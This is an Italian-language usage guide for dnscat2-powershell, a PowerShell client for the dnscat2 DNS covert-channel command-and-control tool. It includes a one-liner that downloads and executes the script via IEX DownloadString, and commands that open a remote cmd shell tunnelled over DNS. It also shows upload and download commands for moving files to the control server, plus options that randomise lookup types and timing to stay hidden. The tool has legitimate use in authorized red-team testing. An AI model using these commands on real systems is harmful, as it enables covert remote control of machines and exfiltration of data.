
Un client Powershell per dnscat2, uno strumento DNS crittografato per comando e controllo.
dnscat2 è uno strumento per canali nascosti DNS creato da @iagox86 (Ron Bowes) che viene utilizzato per trasferire dati tramite richieste DNS.
Questa è una versione PowerShell del client C di dnscat2.
Clicca qui per un post sul blog che fornisce una descrizione più dettagliata dello scopo di questo script e di come utilizzarlo.
Per utilizzare questo script, avrai bisogno del server ruby dnscat2 server. Assicurati di aggiungere l'opzione --no-cache quando avvii il server. Questo client è incompatibile con la cache del server.
Prima, installa il server dnscat2. Avvia il server con la cache disabilitata utilizzando --no-cache. Il comando per avviare il server dovrebbe essere simile a questo: ruby dnscat2.rb --dns="domain=example.com" --no-cache
Successivamente, avvia Windows PowerShell (versione 2.0 o successiva). Puoi usare questo comando per caricare le funzioni PowerShell di dnscat2:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 è la funzione effettiva utilizzata come client. Specifica il server dnscat2 usando -Domain.
Avvia una sessione di comando e invia richieste DNS a 8.8.8.8 sulla porta 53:
Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8
Invia una shell cmd e invia richieste DNS al server DNS predefinito impostato in Windows:
Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd
Avvia una sessione console. Utilizza solo richieste CNAME, MX e AAAA:
Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console
Non crittografare la sessione. La crittografia è abilitata per impostazione predefinita.
Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption
Il client può gestire comandi dnscat2 normali o la versione PowerShell di quel comando. Per utilizzare la versione PowerShell di un comando, imposta parametri specifici che il client rileverà (Questi sono comandi eseguiti da una sessione di comando sul server):
Avvia una nuova sessione che simula una shell PowerShell, come ExecPS:
exec psh
Carica app.exe sul server in una stringa esadecimale memorizzata nella variabile PowerShell $app:
upload app.exe hex:$app
Scarica l'array di byte memorizzato nella variabile PowerShell $app in app.exe sul server:
download bytes:$app app.exe
-Domain <String> Il dominio utilizzato dal server dnscat2.
-DNSServer <String> Il nome host o l'indirizzo IP a cui inviare le query DNS. (Default: Impostato da Windows)
-DNSPort <Int32> La porta a cui inviare le query DNS. (Default: 53)
-Command Avvia una sessione di comando. (Default)
-Exec <String> Collega l'I/O di un processo con la sessione Dnscat2.
-Console Collega l'I/O della console con la sessione Dnscat2.
-ExecPS Simula una sessione PowerShell e collega l'I/O con la sessione Dnscat2.
ATTENZIONE: Uscire terminerà l'intero client dnscat2, non solo la sessione.
-PreSharedSecret Imposta lo stesso segreto sul server per autenticarsi e prevenire MITM.
-NoEncryption Non utilizzare la crittografia.
-LookupTypes <String[]> Imposta un array di tipi di lookup tra cui passare casualmente.
Sono supportati solo i record TXT, MX, CNAME, A e AAAA. Default: @(TXT, MX, CNAME)
-Delay <Int32> Imposta un ritardo tra ogni richiesta, in millisecondi. (Default: 0)
-MaxRandomDelay <Int32> Imposta il valore massimo di un ritardo casuale aggiunto al ritardo normale, in millisecondi. (Default: 0)
-MaxPacketSize <Int32> Lunghezza massima di un pacchetto dnscat2. (Default: 240)
-Name <String> Il nome della tua sessione dnscat2. (Default: hostname)
dnscat2-powershell simula una sessione PowerShell passando i dati dal server a Invoke-Expression. Viene restituito solo stdout e le variabili vengono preservate finché il client è in esecuzione. Fai attenzione a cose che escono da PowerShell come "exit" e "break", perché l'intero client dnscat2-powershell uscirà, non solo la sessione ExecPS.